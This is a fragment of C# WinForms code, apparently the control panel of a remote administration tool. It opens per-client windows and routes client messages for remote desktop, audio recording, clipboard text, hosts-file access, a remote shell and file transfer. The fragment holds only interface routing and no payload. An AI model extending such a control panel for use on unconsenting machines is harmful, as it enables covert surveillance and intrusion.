private void AddMyFormToList(MyForm myForm) { foreach (MyForm form in _forms) { if (form.Connection == myForm.Connection && form.FormType == myForm.FormType) { _forms.Remove(form); break; } } _forms.Add(myForm); }
private void SystemInformationToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem item in ListView1.SelectedItems) { MyForm myForm = GetMyFormByConnection((Connection)item.Tag, FormType.SystemInformation); if (myForm == null || myForm.IsDisposed) { SystemInformation systemInformation = new SystemInformation(); systemInformation.Connection = (Connection)item.Tag; systemInformation.Text = "System Information - " + item.SubItems[1].Text + "@" + item.SubItems[2].Text + "@" + item.SubItems[3].Text; systemInformation.Show(); AddMyFormToList(systemInformation); } else { myForm.Focus(); } } }
private void RemoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem item in ListView1.SelectedItems) { MyForm myForm = GetMyFormByConnection((Connection)item.Tag, FormType.RemoteDesktop); if (myForm == null || myForm.IsDisposed) { RemoteDesktop remoteDesktop = new RemoteDesktop(); remoteDesktop.Connection = (Connection)item.Tag; remoteDesktop.Text = "Remote Desktop - " + item.SubItems[1].Text + "@" + item.SubItems[2].Text + "@" + item.SubItems[3].Text; remoteDesktop.Show(); AddMyFormToList(remoteDesktop); } else { myForm.Focus(); } } }
private void MiscellaneousToolStripMenuItem1_Click(object sender, EventArgs e) { foreach (ListViewItem item in ListView1.SelectedItems) { MyForm myForm = GetMyFormByConnection((Connection)item.Tag, FormType.Miscellaneous); if (myForm == null || myForm.IsDisposed) { Miscellaneous miscellaneous = new Miscellaneous(); miscellaneous.Connection = (Connection)item.Tag; miscellaneous.Text = "Miscellaneous - " + item.SubItems[1].Text + "@" + item.SubItems[2].Text + "@" + item.SubItems[3].Text; miscellaneous.Show(); AddMyFormToList(miscellaneous); } else { myForm.Focus(); } } }
private void AudioCaptureToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem item in ListView1.SelectedItems) { MyForm myForm = GetMyFormByConnection((Connection)item.Tag, FormType.AudioCapture); if (myForm == null || myForm.IsDisposed) { AudioCapture audioCapture = new AudioCapture(); audioCapture.Connection = (Connection)item.Tag; audioCapture.Text = "Audio Capture - " + item.SubItems[1].Text + "@" + item.SubItems[2].Text + "@" + item.SubItems[3].Text; audioCapture.Show(); AddMyFormToList(audioCapture); } else { myForm.Focus(); } } }
public void GotInfo(Connection Client, string Msg) { if (Msg.StartsWith("NewConnection")) { Invoke((Action <Connection, string>)((client, msg) => { AddClient(client, msg); }), Client, Msg); } else if (Msg.StartsWith("RecordingFile")) { Invoke((Action <Connection, string>)((client, msg) => { MyForm myform = GetMyFormByConnection(client, FormType.AudioCapture); myform.ProcessMsg(msg); }), Client, Msg); } else if (Msg.StartsWith("HostsFile") || Msg.StartsWith("CPText") || Msg.StartsWith("Shell")) { Invoke((Action <Connection, string>)((client, msg) => { MyForm myform = GetMyFormByConnection(client, FormType.Miscellaneous); myform.ProcessMsg(msg); }), Client, Msg); } else if (Msg.StartsWith("RemoteDesktop") || Msg.StartsWith("PCBounds")) { Invoke((Action <Connection, string>)((client, msg) => { MyForm myform = GetMyFormByConnection(client, FormType.RemoteDesktop); myform.ProcessMsg(msg); }), Client, Msg); } else if (Msg.StartsWith("SystemInformation") || Msg.StartsWith("InstalledSoftware") || Msg.StartsWith("Drives") || Msg.StartsWith("FileManagerFiles") || Msg.StartsWith("IncomingFile")) { Invoke((Action <Connection, string>)((client, msg) => { MyForm myform = GetMyFormByConnection(client, FormType.SystemInformation); myform.ProcessMsg(msg); }), Client, Msg); } }